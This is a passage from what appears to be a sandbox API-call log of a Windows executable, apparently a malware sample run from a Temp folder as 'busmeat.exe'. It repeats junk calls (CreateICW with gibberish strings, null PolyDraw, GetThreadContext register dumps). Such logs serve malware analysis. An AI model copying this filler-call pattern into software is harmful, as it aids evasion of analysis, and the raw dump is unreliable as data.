[242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.095] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.097] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.097] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.097] GetConsoleCP () returned 0x0
	[0066.097] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.097] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.097] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.098] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.098] GetConsoleCP () returned 0x0
	[0066.098] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.098] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.099] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.099] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.099] GetConsoleCP () returned 0x0
	[0066.099] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, 